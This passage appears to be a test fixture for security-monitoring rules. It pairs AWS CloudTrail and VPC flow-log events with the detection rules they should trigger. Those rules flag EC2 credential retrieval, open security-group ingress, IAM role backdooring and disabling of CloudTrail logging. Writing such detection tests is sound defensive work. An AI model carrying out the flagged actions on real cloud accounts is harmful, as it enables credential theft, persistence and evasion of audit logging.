\"activity_id\": 3, \"type_uid\": 500103, \"type_name\": \"Cloud API: Operational\", \"unmapped\": [[\"eventCategory\", \"Management\"], [\"sessionCredentialFromConsole\", \"true\"], [\"requestParameters\", \"{\\\"maxResults\\\":100,\\\"instancesSet\\\":{},\\\"filterSet\\\":{}}\"], [\"recipientAccountId\", \"567970947422\"], [\"readOnly\", \"true\"], [\"eventType\", \"AwsApiCall\"], [\"managementEvent\", \"true\"]]}", "decoder": "json", "parent": "", "fields": {"activity_id": "3", "activity_name": "Operational", "api.operation": "GetPasswordData", "api.request.uid": "50ce3d1c-ad17-466f-8724-62c6ed1b61d3", "api.response.error": "null", "api.response.message": "null", "api.service.name": "monitoring.amazonaws.com", "api.version": "null", "category_name": "Cloud Activity", "category_uid": "5", "class_name": "Cloud API", "class_uid": "5001", "cloud.provider": "AWS", "cloud.region": "us-east-1", "http_request.user_agent": "AWS Internal", "identity.idp.name": "null", "identity.invoked_by": "null", "identity.session.created_time": "1680265937000.000000", "identity.session.issuer": "null", "identity.session.mfa": "true", "identity.user.account_uid": "567970947422", "identity.user.credential_uid": "ASIAYIPNU4FPPUVMVKXH", "identity.user.name": "javier.medeot", "identity.user.type": "IAMUser", "identity.user.uid": "AIDAYIPNU4FPI6FVZ4SEC", "identity.user.uuid": "arn:aws:iam::567970947422:user/javier.medeot", "metadata.product.feature.name": "Management, Data, and Insights", "metadata.product.name": "CloudTrail", "metadata.product.vendor_name": "AWS", "metadata.product.version": "1.08", "metadata.profiles": "['cloud']", "metadata.version": "0.26.1", "ref_event_uid": "7a73c797-75ca-4355-a703-cb88a5259805", "resources": "null", "severity": "Unknown", "severity_id": "0", "src_endpoint.domain": "null", "src_endpoint.ip": "186.127.25.250", "src_endpoint.uid": "null", "time": "1680290782000.000000", "type_name": "Cloud API: Operational", "type_uid": "500103", "unmapped": "[['eventCategory', 'Management'], ['sessionCredentialFromConsole', 'true'], ['requestParameters', '{\"maxRecords\":100}'], ['recipientAccountId', '567970947422'], ['readOnly', 'true'], ['eventType', 'AwsApiCall'], ['managementEvent', 'true']]"}, "field_names": ["activity_id", "activity_name", "api.operation", "api.request.uid", "api.response.error", "api.response.message", "api.service.name", "api.version", "category_name", "category_uid", "class_name", "class_uid", "cloud.provider", "cloud.region", "http_request.user_agent", "identity.idp.name", "identity.invoked_by", "identity.session.created_time", "identity.session.issuer", "identity.session.mfa", "identity.user.account_uid", "identity.user.credential_uid", "identity.user.name", "identity.user.type", "identity.user.uid", "identity.user.uuid", "metadata.product.feature.name", "metadata.product.name", "metadata.product.vendor_name", "metadata.product.version", "metadata.profiles", "metadata.version", "ref_event_uid", "resources", "severity", "severity_id", "src_endpoint.domain", "src_endpoint.ip", "src_endpoint.uid", "time", "type_name", "type_uid", "unmapped"], "rule": "99026", "level": "5", "expected_decoder": "json", "expected_rule": "99026", "rule_matches_expected": true, "ini_file": "amazon_sec_lake.ini", "section": "Credentials access: Attempt to retrieve EC2 credentials"} +{"log": "{\"metadata\": {\"product\": {\"version\": \"1.08\", \"name\": \"CloudTrail\", \"feature\": {\"name\": \"Management, Data, and Insights\"}, \"vendor_name\": \"AWS\"}, \"profiles\": [\"cloud\"], \"version\": \"0.26.1\"}, \"time\": 1680290782000, \"cloud\": {\"region\": \"us-east-1\", \"provider\": \"AWS\"}, \"api\": {\"response\": {\"error\": null, \"message\": null}, \"operation\": \"AuthorizeSecurityGroupIngress\", \"request\": {\"uid\": \"50ce3d1c-ad17-466f-8724-62c6ed1b61d3\"}, \"version\": null, \"service\": {\"name\": \"monitoring.amazonaws.com\"}}, \"ref_event_uid\": \"7a73c797-75ca-4355-a703-cb88a5259805\", \"src_endpoint\": {\"uid\": null, \"ip\": \"186.127.25.250\", \"domain\": null}, \"resources\": null, \"identity\": {\"user\": {\"type\": \"IAMUser\", \"name\": \"javier.medeot\", \"uid\": \"AIDAYIPNU4FPI6FVZ4SEC\", \"uuid\": \"arn:aws:iam::567970947422:user/javier.medeot\", \"account_uid\": \"567970947422\", \"credential_uid\": \"ASIAYIPNU4FPPUVMVKXH\"}, \"session\": {\"created_time\": 1680265937000, \"mfa\": true, \"issuer\": null}, \"invoked_by\": null, \"idp\": {\"name\": null}}, \"http_request\": {\"user_agent\": \"AWS Internal\"}, \"class_name\": \"Cloud API\", \"class_uid\": 5001, \"category_name\": \"Cloud Activity\", \"category_uid\": 5, \"severity_id\": 0, \"severity\": \"Unknown\", \"activity_name\": \"Operational\", \"activity_id\": 3, \"type_uid\": 500103, \"type_name\": \"Cloud API: Operational\", \"unmapped\": [[\"eventCategory\", \"Management\"], [\"sessionCredentialFromConsole\", \"true\"], [\"requestParameters\", \"{\\\"maxRecords\\\":100}\"], [\"recipientAccountId\", \"567970947422\"], [\"readOnly\", \"true\"], [\"eventType\", \"AwsApiCall\"], [\"managementEvent\", \"true\"]]} {\"metadata\": {\"product\": {\"version\": \"1.08\", \"name\": \"CloudTrail\", \"feature\": {\"name\": \"Management, Data, and Insights\"}, \"vendor_name\": \"AWS\"}, \"profiles\": [\"cloud\"], \"version\": \"0.26.1\"}, \"time\": 1680290783000, \"cloud\": {\"region\": \"us-east-1\", \"provider\": \"AWS\"}, \"api\": {\"response\": {\"error\": null, \"message\": null}, \"operation\": \"DescribeInstanceStatus\", \"request\": {\"uid\": \"5df43e93-4a05-497b-bef6-cc30105e028d\"}, \"version\": null, \"service\": {\"name\": \"ec2.amazonaws.com\"}}, \"ref_event_uid\": \"f751b1d8-8923-4975-9c95-c93a36485e15\", \"src_endpoint\": {\"uid\": null, \"ip\": \"186.127.25.250\", \"domain\": null}, \"resources\": null, \"identity\": {\"user\": {\"type\": \"IAMUser\", \"name\": \"javier.medeot\", \"uid\": \"AIDAYIPNU4FPI6FVZ4SEC\", \"uuid\": \"arn:aws:iam::567970947422:user/javier.medeot\", \"account_uid\": \"567970947422\", \"credential_uid\": \"ASIAYIPNU4FPPUVMVKXH\"}, \"session\": {\"created_time\": 1680265937000, \"mfa\": true, \"issuer\": null}, \"invoked_by\": null, \"idp\": {\"name\": null}}, \"http_request\": {\"user_agent\": \"AWS Internal\"}, \"class_name\": \"Cloud API\", \"class_uid\": 5001, \"category_name\": \"Cloud Activity\", \"category_uid\": 5, \"severity_id\": 0, \"severity\": \"Unknown\", \"activity_name\": \"Operational\", \"activity_id\": 3, \"type_uid\": 500103, \"type_name\": \"Cloud API: Operational\", \"unmapped\": [[\"eventCategory\", \"Management\"], [\"sessionCredentialFromConsole\", \"true\"], [\"requestParameters\", \"{\\\"instancesSet\\\":{\\\"items\\\":[{\\\"instanceId\\\":\\\"i-08f69652bddf329c6\\\"},{\\\"instanceId\\\":\\\"i-0ade6659862bbc885\\\"},{\\\"instanceId\\\":\\\"i-0710bad5b508b7466\\\"},{\\\"instanceId\\\":\\\"i-0d9e76e5b1c5e9074\\\"},{\\\"instanceId\\\":\\\"i-0a7d0c7b4474826c1\\\"},{\\\"instanceId\\\":\\\"i-082b4362d842263ad\\\"}]},\\\"filterSet\\\":{},\\\"includeAllInstances\\\":false}\"], [\"recipientAccountId\", \"567970947422\"], [\"readOnly\", \"true\"], [\"eventType\", \"AwsApiCall\"], [\"managementEvent\", \"true\"]]} {\"metadata\": {\"product\": {\"version\": \"1.08\", \"name\": \"CloudTrail\", \"feature\": {\"name\": \"Management, Data, and Insights\"}, \"vendor_name\": \"AWS\"}, \"profiles\": [\"cloud\"], \"version\": \"0.26.1\"}, \"time\": 1680290785000, \"cloud\": {\"region\": \"us-east-1\", \"provider\": \"AWS\"}, \"api\": {\"response\": {\"error\": null, \"message\": null}, \"operation\": \"DescribeInstances\", \"request\": {\"uid\": \"59128c45-403a-436e-88ed-894c1fbd252c\"}, \"version\": null, \"service\": {\"name\": \"ec2.amazonaws.com\"}}, \"ref_event_uid\": \"6e397d33-caf9-4d41-875e-fc05b72ebe9b\", \"src_endpoint\": {\"uid\": null, \"ip\": \"186.127.25.250\", \"domain\": null}, \"resources\": null, \"identity\": {\"user\": {\"type\": \"IAMUser\", \"name\": \"javier.medeot\", \"uid\": \"AIDAYIPNU4FPI6FVZ4SEC\", \"uuid\": \"arn:aws:iam::567970947422:user/javier.medeot\", \"account_uid\": \"567970947422\", \"credential_uid\": \"ASIAYIPNU4FPPUVMVKXH\"}, \"session\": {\"created_time\": 1680265937000, \"mfa\": true, \"issuer\": null}, \"invoked_by\": null, \"idp\": {\"name\": null}}, \"http_request\": {\"user_agent\": \"AWS Internal\"}, \"class_name\": \"Cloud API\", \"class_uid\": 5001, \"category_name\": \"Cloud Activity\", \"category_uid\": 5, \"severity_id\": 0, \"severity\": \"Unknown\", \"activity_name\": \"Operational\", \"activity_id\": 3, \"type_uid\": 500103, \"type_name\": \"Cloud API: Operational\", \"unmapped\": [[\"eventCategory\", \"Management\"], [\"sessionCredentialFromConsole\", \"true\"], [\"requestParameters\", \"{\\\"maxResults\\\":100,\\\"instancesSet\\\":{},\\\"filterSet\\\":{}}\"], [\"recipientAccountId\", \"567970947422\"], [\"readOnly\", \"true\"], [\"eventType\", \"AwsApiCall\"], [\"managementEvent\", \"true\"]]}", "decoder": "json", "parent": "", "fields": {"activity_id": "3", "activity_name": "Operational", "api.operation": "AuthorizeSecurityGroupIngress", "api.request.uid": "50ce3d1c-ad17-466f-8724-62c6ed1b61d3", "api.response.error": "null", "api.response.message": "null", "api.service.name": "monitoring.amazonaws.com", "api.version": "null", "category_name": "Cloud Activity", "category_uid": "5", "class_name": "Cloud API", "class_uid": "5001", "cloud.provider": "AWS", "cloud.region": "us-east-1", "http_request.user_agent": "AWS Internal", "identity.idp.name": "null", "identity.invoked_by": "null", "identity.session.created_time": "1680265937000.000000", "identity.session.issuer": "null", "identity.session.mfa": "true", "identity.user.account_uid": "567970947422", "identity.user.credential_uid": "ASIAYIPNU4FPPUVMVKXH", "identity.user.name": "javier.medeot", "identity.user.type": "IAMUser", "identity.user.uid": "AIDAYIPNU4FPI6FVZ4SEC", "identity.user.uuid": "arn:aws:iam::567970947422:user/javier.medeot", "metadata.product.feature.name": "Management, Data, and Insights", "metadata.product.name": "CloudTrail", "metadata.product.vendor_name": "AWS", "metadata.product.version": "1.08", "metadata.profiles": "['cloud']", "metadata.version": "0.26.1", "ref_event_uid": "7a73c797-75ca-4355-a703-cb88a5259805", "resources": "null", "severity": "Unknown", "severity_id": "0", "src_endpoint.domain": "null", "src_endpoint.ip": "186.127.25.250", "src_endpoint.uid": "null", "time": "1680290782000.000000", "type_name": "Cloud API: Operational", "type_uid": "500103", "unmapped": "[['eventCategory', 'Management'], ['sessionCredentialFromConsole', 'true'], ['requestParameters', '{\"maxRecords\":100}'], ['recipientAccountId', '567970947422'], ['readOnly', 'true'], ['eventType', 'AwsApiCall'], ['managementEvent', 'true']]"}, "field_names": ["activity_id", "activity_name", "api.operation", "api.request.uid", "api.response.error", "api.response.message", "api.service.name", "api.version", "category_name", "category_uid", "class_name", "class_uid", "cloud.provider", "cloud.region", "http_request.user_agent", "identity.idp.name", "identity.invoked_by", "identity.session.created_time", "identity.session.issuer", "identity.session.mfa", "identity.user.account_uid", "identity.user.credential_uid", "identity.user.name", "identity.user.type", "identity.user.uid", "identity.user.uuid", "metadata.product.feature.name", "metadata.product.name", "metadata.product.vendor_name", "metadata.product.version", "metadata.profiles", "metadata.version", "ref_event_uid", "resources", "severity", "severity_id", "src_endpoint.domain", "src_endpoint.ip", "src_endpoint.uid", "time", "type_name", "type_uid", "unmapped"], "rule": "99028", "level": "12", "expected_decoder": "json", "expected_rule": "99028", "rule_matches_expected": true, "ini_file": "amazon_sec_lake.ini", "section": "Security group with inbound rules allowing Unknown cidrIp on port Unknown port detected."} +{"log": "{\"metadata\": {\"product\": {\"version\": \"1.08\", \"name\": \"CloudTrail\", \"feature\": {\"name\": \"Management, Data, and Insights\"}, \"vendor_name\": \"AWS\"}, \"profiles\": [\"cloud\"], \"version\": \"0.26.1\"}, \"time\": 1680276859000, \"cloud\": {\"region\": \"us-east-1\", \"provider\": \"AWS\"}, \"api\": {\"response\": {\"error\": null, \"message\": null}, \"operation\": \"CreateRole\", \"request\": {\"uid\": \"d882cba8-da5a-4914-a6db-83a3def09858\"}, \"version\": null, \"service\": {\"name\": \"iam.amazonaws.com\"}}, \"ref_event_uid\": \"5c8e297b-8341-4b6a-b5f8-2ce76282290e\", \"src_endpoint\": {\"uid\": null, \"ip\": null, \"domain\": \"securitylake.amazonaws.com\"}, \"resources\": null, \"identity\": {\"user\": {\"type\": \"IAMUser\", \"name\": \"nicolas.stefi\", \"uid\": \"AIDAYIPNU4FPPVP5OOEJ3\", \"uuid\": \"arn:aws:iam::567970947422:user/nicolas.stefi\", \"account_uid\": \"567970947422\", \"credential_uid\": \"ASIAYIPNU4FPBPXFFKDC\"}, \"session\": {\"created_time\": 1680269774000, \"mfa\": true, \"issuer\": null}, \"invoked_by\": \"securitylake.amazonaws.com\", \"idp\": {\"name\": null}}, \"http_request\": {\"user_agent\": \"securitylake.amazonaws.com\"}, \"class_name\": \"Cloud API\", \"class_uid\": 5001, \"category_name\": \"Cloud Activity\", \"category_uid\": 5, \"severity_id\": 0, \"severity\": \"Unknown\", \"activity_name\": \"Operational\", \"activity_id\": 3, \"type_uid\": 500103, \"type_name\": \"Cloud API: Operational\", \"unmapped\": [[\"eventCategory\", \"Management\"], [\"sessionCredentialFromConsole\", \"true\"], [\"responseElements\", \"{\\\"role\\\":{\\\"assumeRolePolicyDocument\\\":\\\"%7B%22Version%22%3A%222012-10-17%22%2C%22Statement%22%3A%5B%7B%22Sid%22%3A%221%22%2C%22Effect%22%3A%22Allow%22%2C%22Principal%22%3A%7B%22AWS%22%3A%22567970947422%22%7D%2C%22Action%22%3A%5B%22sts%3AAssumeRole%22%5D%2C%22Condition%22%3A%7B%22StringEquals%22%3A%7B%22sts%3AExternalId%22%3A%5B%22TEST%22%5D%7D%7D%7D%5D%7D\\\",\\\"roleName\\\":\\\"AmazonSecurityLake-4820c06e-9d69-4417-b75b-7cd2f002c3f1\\\",\\\"roleId\\\":\\\"AROAYIPNU4FPKWRVMKFS2\\\",\\\"permissionsBoundary\\\":{\\\"permissionsBoundaryArn\\\":\\\"arn:aws:iam::aws:policy/AmazonSecurityLakePermissionsBoundary\\\",\\\"permissionsBoundaryType\\\":\\\"Policy\\\"},\\\"arn\\\":\\\"arn:aws:iam::567970947422:role/AmazonSecurityLake-4820c06e-9d69-4417-b75b-7cd2f002c3f1\\\",\\\"createDate\\\":\\\"Mar 31, 2023 3:34:19 PM\\\",\\\"path\\\":\\\"/\\\"}}\"], [\"requestParameters\", \"{\\\"assumeRolePolicyDocument\\\":\\\"{\\\\\\\"Version\\\\\\\":\\\\\\\"2012-10-17\\\\\\\",\\\\\\\"Statement\\\\\\\":[{\\\\\\\"Sid\\\\\\\":\\\\\\\"1\\\\\\\",\\\\\\\"Effect\\\\\\\":\\\\\\\"Allow\\\\\\\",\\\\\\\"Principal\\\\\\\":{\\\\\\\"AWS\\\\\\\":\\\\\\\"567970947422\\\\\\\"},\\\\\\\"Action\\\\\\\":[\\\\\\\"sts:AssumeRole\\\\\\\"],\\\\\\\"Condition\\\\\\\":{\\\\\\\"StringEquals\\\\\\\":{\\\\\\\"sts:ExternalId\\\\\\\":[\\\\\\\"TEST\\\\\\\"]}}}]}\\\",\\\"description\\\":\\\"Created a new role for subscriber to assume.\\\",\\\"roleName\\\":\\\"AmazonSecurityLake-4820c06e-9d69-4417-b75b-7cd2f002c3f1\\\",\\\"permissionsBoundary\\\":\\\"arn:aws:iam::aws:policy/AmazonSecurityLakePermissionsBoundary\\\"}\"], [\"recipientAccountId\", \"567970947422\"], [\"readOnly\", \"false\"], [\"eventType\", \"AwsApiCall\"], [\"managementEvent\", \"true\"]]}", "decoder": "json", "parent": "", "fields": {"activity_id": "3", "activity_name": "Operational", "api.operation": "CreateRole", "api.request.uid": "d882cba8-da5a-4914-a6db-83a3def09858", "api.response.error": "null", "api.response.message": "null", "api.service.name": "iam.amazonaws.com", "api.version": "null", "category_name": "Cloud Activity", "category_uid": "5", "class_name": "Cloud API", "class_uid": "5001", "cloud.provider": "AWS", "cloud.region": "us-east-1", "http_request.user_agent": "securitylake.amazonaws.com", "identity.idp.name": "null", "identity.invoked_by": "securitylake.amazonaws.com", "identity.session.created_time": "1680269774000.000000", "identity.session.issuer": "null", "identity.session.mfa": "true", "identity.user.account_uid": "567970947422", "identity.user.credential_uid": "ASIAYIPNU4FPBPXFFKDC", "identity.user.name": "nicolas.stefi", "identity.user.type": "IAMUser", "identity.user.uid": "AIDAYIPNU4FPPVP5OOEJ3", "identity.user.uuid": "arn:aws:iam::567970947422:user/nicolas.stefi", "metadata.product.feature.name": "Management, Data, and Insights", "metadata.product.name": "CloudTrail", "metadata.product.vendor_name": "AWS", "metadata.product.version": "1.08", "metadata.profiles": "['cloud']", "metadata.version": "0.26.1", "ref_event_uid": "5c8e297b-8341-4b6a-b5f8-2ce76282290e", "resources": "null", "severity": "Unknown", "severity_id": "0", "src_endpoint.domain": "securitylake.amazonaws.com", "src_endpoint.ip": "null", "src_endpoint.uid": "null", "time": "1680276859000.000000", "type_name": "Cloud API: Operational", "type_uid": "500103", "unmapped": "[['eventCategory', 'Management'], ['sessionCredentialFromConsole', 'true'], ['responseElements', '{\"role\":{\"assumeRolePolicyDocument\":\"%7B%22Version%22%3A%222012-10-17%22%2C%22Statement%22%3A%5B%7B%22Sid%22%3A%221%22%2C%22Effect%22%3A%22Allow%22%2C%22Principal%22%3A%7B%22AWS%22%3A%22567970947422%22%7D%2C%22Action%22%3A%5B%22sts%3AAssumeRole%22%5D%2C%22Condition%22%3A%7B%22StringEquals%22%3A%7B%22sts%3AExternalId%22%3A%5B%22TEST%22%5D%7D%7D%7D%5D%7D\",\"roleName\":\"AmazonSecurityLake-4820c06e-9d69-4417-b75b-7cd2f002c3f1\",\"roleId\":\"AROAYIPNU4FPKWRVMKFS2\",\"permissionsBoundary\":{\"permissionsBoundaryArn\":\"arn:aws:iam::aws:policy/AmazonSecurityLakePermissionsBoundary\",\"permissionsBoundaryType\":\"Policy\"},\"arn\":\"arn:aws:iam::567970947422:role/AmazonSecurityLake-4820c06e-9d69-4417-b75b-7cd2f002c3f1\",\"createDate\":\"Mar 31, 2023 3:34:19 PM\",\"path\":\"/\"}}'], ['requestParameters', '{\"assumeRolePolicyDocument\":\"{\\\\\"Version\\\\\":\\\\\"2012-10-17\\\\\",\\\\\"Statement\\\\\":[{\\\\\"Sid\\\\\":\\\\\"1\\\\\",\\\\\"Effect\\\\\":\\\\\"Allow\\\\\",\\\\\"Principal\\\\\":{\\\\\"AWS\\\\\":\\\\\"567970947422\\\\\"},\\\\\"Action\\\\\":[\\\\\"sts:AssumeRole\\\\\"],\\\\\"Condition\\\\\":{\\\\\"StringEquals\\\\\":{\\\\\"sts:ExternalId\\\\\":[\\\\\"TEST\\\\\"]}}}]}\",\"description\":\"Created a new role for subscriber to assume.\",\"roleName\":\"AmazonSecurityLake-4820c06e-9d69-4417-b75b-7cd2f002c3f1\",\"permissionsBoundary\":\"arn:aws:iam::aws:policy/AmazonSecurityLakePermissionsBoundary\"}'], ['recipientAccountId', '567970947422'], ['readOnly', 'false'], ['eventType', 'AwsApiCall'], ['managementEvent', 'true']]"}, "field_names": ["activity_id", "activity_name", "api.operation", "api.request.uid", "api.response.error", "api.response.message", "api.service.name", "api.version", "category_name", "category_uid", "class_name", "class_uid", "cloud.provider", "cloud.region", "http_request.user_agent", "identity.idp.name", "identity.invoked_by", "identity.session.created_time", "identity.session.issuer", "identity.session.mfa", "identity.user.account_uid", "identity.user.credential_uid", "identity.user.name", "identity.user.type", "identity.user.uid", "identity.user.uuid", "metadata.product.feature.name", "metadata.product.name", "metadata.product.vendor_name", "metadata.product.version", "metadata.profiles", "metadata.version", "ref_event_uid", "resources", "severity", "severity_id", "src_endpoint.domain", "src_endpoint.ip", "src_endpoint.uid", "time", "type_name", "type_uid", "unmapped"], "rule": "99029", "level": "12", "expected_decoder": "json", "expected_rule": "99029", "rule_matches_expected": true, "ini_file": "amazon_sec_lake.ini", "section": "Possible IAM Role backdooring: IAM role granted from an external account."} +{"log": "{\"metadata\": {\"product\": {\"version\": \"1.08\", \"name\": \"CloudTrail\", \"feature\": {\"name\": \"Management, Data, and Insights\"}, \"vendor_name\": \"AWS\"}, \"profiles\": [\"cloud\"], \"version\": \"0.26.1\"}, \"time\": 1680290782000, \"cloud\": {\"region\": \"us-east-1\", \"provider\": \"AWS\"}, \"api\": {\"response\": {\"error\": null, \"message\": null}, \"operation\": \"PutEventSelectors\", \"request\": {\"uid\": \"50ce3d1c-ad17-466f-8724-62c6ed1b61d3\"}, \"version\": null, \"service\": {\"name\": \"monitoring.amazonaws.com\"}}, \"ref_event_uid\": \"7a73c797-75ca-4355-a703-cb88a5259805\", \"src_endpoint\": {\"uid\": null, \"ip\": \"186.127.25.250\", \"domain\": null}, \"resources\": null, \"identity\": {\"user\": {\"type\": \"IAMUser\", \"name\": \"javier.medeot\", \"uid\": \"AIDAYIPNU4FPI6FVZ4SEC\", \"uuid\": \"arn:aws:iam::567970947422:user/javier.medeot\", \"account_uid\": \"567970947422\", \"credential_uid\": \"ASIAYIPNU4FPPUVMVKXH\"}, \"session\": {\"created_time\": 1680265937000, \"mfa\": true, \"issuer\": null}, \"invoked_by\": null, \"idp\": {\"name\": null}}, \"http_request\": {\"user_agent\": \"AWS Internal\"}, \"class_name\": \"Cloud API\", \"class_uid\": 5001, \"category_name\": \"Cloud Activity\", \"category_uid\": 5, \"severity_id\": 0, \"severity\": \"Unknown\", \"activity_name\": \"Operational\", \"activity_id\": 3, \"type_uid\": 500103, \"type_name\": \"Cloud API: Operational\", \"unmapped\": [[\"eventCategory\", \"Management\"], [\"sessionCredentialFromConsole\", \"true\"], [\"requestParameters\", \"{\\\"maxRecords\\\":100}\"], [\"recipientAccountId\", \"567970947422\"], [\"readOnly\", \"true\"], [\"eventType\", \"AwsApiCall\"], [\"managementEvent\", \"true\"]]} {\"metadata\": {\"product\": {\"version\": \"1.08\", \"name\": \"CloudTrail\", \"feature\": {\"name\": \"Management, Data, and Insights\"}, \"vendor_name\": \"AWS\"}, \"profiles\": [\"cloud\"], \"version\": \"0.26.1\"}, \"time\": 1680290783000, \"cloud\": {\"region\": \"us-east-1\", \"provider\": \"AWS\"}, \"api\": {\"response\": {\"error\": null, \"message\": null}, \"operation\": \"DescribeInstanceStatus\", \"request\": {\"uid\": \"5df43e93-4a05-497b-bef6-cc30105e028d\"}, \"version\": null, \"service\": {\"name\": \"ec2.amazonaws.com\"}}, \"ref_event_uid\": \"f751b1d8-8923-4975-9c95-c93a36485e15\", \"src_endpoint\": {\"uid\": null, \"ip\": \"186.127.25.250\", \"domain\": null}, \"resources\": null, \"identity\": {\"user\": {\"type\": \"IAMUser\", \"name\": \"javier.medeot\", \"uid\": \"AIDAYIPNU4FPI6FVZ4SEC\", \"uuid\": \"arn:aws:iam::567970947422:user/javier.medeot\", \"account_uid\": \"567970947422\", \"credential_uid\": \"ASIAYIPNU4FPPUVMVKXH\"}, \"session\": {\"created_time\": 1680265937000, \"mfa\": true, \"issuer\": null}, \"invoked_by\": null, \"idp\": {\"name\": null}}, \"http_request\": {\"user_agent\": \"AWS Internal\"}, \"class_name\": \"Cloud API\", \"class_uid\": 5001, \"category_name\": \"Cloud Activity\", \"category_uid\": 5, \"severity_id\": 0, \"severity\": \"Unknown\", \"activity_name\": \"Operational\", \"activity_id\": 3, \"type_uid\": 500103, \"type_name\": \"Cloud API: Operational\", \"unmapped\": [[\"eventCategory\", \"Management\"], [\"sessionCredentialFromConsole\", \"true\"], [\"requestParameters\", \"{\\\"instancesSet\\\":{\\\"items\\\":[{\\\"instanceId\\\":\\\"i-08f69652bddf329c6\\\"},{\\\"instanceId\\\":\\\"i-0ade6659862bbc885\\\"},{\\\"instanceId\\\":\\\"i-0710bad5b508b7466\\\"},{\\\"instanceId\\\":\\\"i-0d9e76e5b1c5e9074\\\"},{\\\"instanceId\\\":\\\"i-0a7d0c7b4474826c1\\\"},{\\\"instanceId\\\":\\\"i-082b4362d842263ad\\\"}]},\\\"filterSet\\\":{},\\\"includeAllInstances\\\":false}\"], [\"recipientAccountId\", \"567970947422\"], [\"readOnly\", \"true\"], [\"eventType\", \"AwsApiCall\"], [\"managementEvent\", \"true\"]]} {\"metadata\": {\"product\": {\"version\": \"1.08\", \"name\": \"CloudTrail\", \"feature\": {\"name\": \"Management, Data, and Insights\"}, \"vendor_name\": \"AWS\"}, \"profiles\": [\"cloud\"], \"version\": \"0.26.1\"}, \"time\": 1680290785000, \"cloud\": {\"region\": \"us-east-1\", \"provider\": \"AWS\"}, \"api\": {\"response\": {\"error\": null, \"message\": null}, \"operation\": \"DescribeInstances\", \"request\": {\"uid\": \"59128c45-403a-436e-88ed-894c1fbd252c\"}, \"version\": null, \"service\": {\"name\": \"ec2.amazonaws.com\"}}, \"ref_event_uid\": \"6e397d33-caf9-4d41-875e-fc05b72ebe9b\", \"src_endpoint\": {\"uid\": null, \"ip\": \"186.127.25.250\", \"domain\": null}, \"resources\": null, \"identity\": {\"user\": {\"type\": \"IAMUser\", \"name\": \"javier.medeot\", \"uid\": \"AIDAYIPNU4FPI6FVZ4SEC\", \"uuid\": \"arn:aws:iam::567970947422:user/javier.medeot\", \"account_uid\": \"567970947422\", \"credential_uid\": \"ASIAYIPNU4FPPUVMVKXH\"}, \"session\": {\"created_time\": 1680265937000, \"mfa\": true, \"issuer\": null}, \"invoked_by\": null, \"idp\": {\"name\": null}}, \"http_request\": {\"user_agent\": \"AWS Internal\"}, \"class_name\": \"Cloud API\", \"class_uid\": 5001, \"category_name\": \"Cloud Activity\", \"category_uid\": 5, \"severity_id\": 0, \"severity\": \"Unknown\", \"activity_name\": \"Operational\", \"activity_id\": 3, \"type_uid\": 500103, \"type_name\": \"Cloud API: Operational\", \"unmapped\": [[\"eventCategory\", \"Management\"], [\"sessionCredentialFromConsole\", \"true\"], [\"requestParameters\", \"{\\\"maxResults\\\":100,\\\"instancesSet\\\":{},\\\"filterSet\\\":{}}\"], [\"recipientAccountId\", \"567970947422\"], [\"readOnly\", \"true\"], [\"eventType\", \"AwsApiCall\"], [\"managementEvent\", \"true\"]]}", "decoder": "json", "parent": "", "fields": {"activity_id": "3", "activity_name": "Operational", "api.operation": "PutEventSelectors", "api.request.uid": "50ce3d1c-ad17-466f-8724-62c6ed1b61d3", "api.response.error": "null", "api.response.message": "null", "api.service.name": "monitoring.amazonaws.com", "api.version": "null", "category_name": "Cloud Activity", "category_uid": "5", "class_name": "Cloud API", "class_uid": "5001", "cloud.provider": "AWS", "cloud.region": "us-east-1", "http_request.user_agent": "AWS Internal", "identity.idp.name": "null", "identity.invoked_by": "null", "identity.session.created_time": "1680265937000.000000", "identity.session.issuer": "null", "identity.session.mfa": "true", "identity.user.account_uid": "567970947422", "identity.user.credential_uid": "ASIAYIPNU4FPPUVMVKXH", "identity.user.name": "javier.medeot", "identity.user.type": "IAMUser", "identity.user.uid": "AIDAYIPNU4FPI6FVZ4SEC", "identity.user.uuid": "arn:aws:iam::567970947422:user/javier.medeot", "metadata.product.feature.name": "Management, Data, and Insights", "metadata.product.name": "CloudTrail", "metadata.product.vendor_name": "AWS", "metadata.product.version": "1.08", "metadata.profiles": "['cloud']", "metadata.version": "0.26.1", "ref_event_uid": "7a73c797-75ca-4355-a703-cb88a5259805", "resources": "null", "severity": "Unknown", "severity_id": "0", "src_endpoint.domain": "null", "src_endpoint.ip": "186.127.25.250", "src_endpoint.uid": "null", "time": "1680290782000.000000", "type_name": "Cloud API: Operational", "type_uid": "500103", "unmapped": "[['eventCategory', 'Management'], ['sessionCredentialFromConsole', 'true'], ['requestParameters', '{\"maxRecords\":100}'], ['recipientAccountId', '567970947422'], ['readOnly', 'true'], ['eventType', 'AwsApiCall'], ['managementEvent', 'true']]"}, "field_names": ["activity_id", "activity_name", "api.operation", "api.request.uid", "api.response.error", "api.response.message", "api.service.name", "api.version", "category_name", "category_uid", "class_name", "class_uid", "cloud.provider", "cloud.region", "http_request.user_agent", "identity.idp.name", "identity.invoked_by", "identity.session.created_time", "identity.session.issuer", "identity.session.mfa", "identity.user.account_uid", "identity.user.credential_uid", "identity.user.name", "identity.user.type", "identity.user.uid", "identity.user.uuid", "metadata.product.feature.name", "metadata.product.name", "metadata.product.vendor_name", "metadata.product.version", "metadata.profiles", "metadata.version", "ref_event_uid", "resources", "severity", "severity_id", "src_endpoint.domain", "src_endpoint.ip", "src_endpoint.uid", "time", "type_name", "type_uid", "unmapped"], "rule": "99030", "level": "12", "expected_decoder": "json", "expected_rule": "99030", "rule_matches_expected": true, "ini_file": "amazon_sec_lake.ini", "section": "Possible disruption of CloudTrail Logging: Management events logging disabled with an event selector."} +{"log": "{\"metadata\": {\"product\": {\"version\": \"5\", \"name\": \"Amazon VPC\", \"feature\": {\"name\": \"Flowlogs\"}, \"vendor_name\": \"AWS\"}, \"profiles\": [\"cloud\"], \"version\": \"0.39.0\"}, \"cloud\": {\"account_uid\": \"567970947422\", \"region\": \"us-east-1\", \"zone\": \"use1-az4\", \"provider\": \"AWS\"}, \"src_endpoint\": {\"port\": 44250, \"svc_name\": \"-\", \"ip\": \"131.100.164.234\", \"intermediate_ips\": null, \"interface_uid\": null, \"vpc_uid\": null, \"instance_uid\": null, \"subnet_uid\": null}, \"dst_endpoint\": {\"port\": 22, \"svc_name\": \"-\", \"ip\": \"172.31.17.20\", \"intermediate_ips\": null, \"interface_uid\": \"eni-047062ec08692c9dc\", \"vpc_uid\": \"vpc-f825c385\", \"instance_uid\": \"i-0d9e76e5b1c5e9074\", \"subnet_uid\": \"subnet-4023460d\"}, 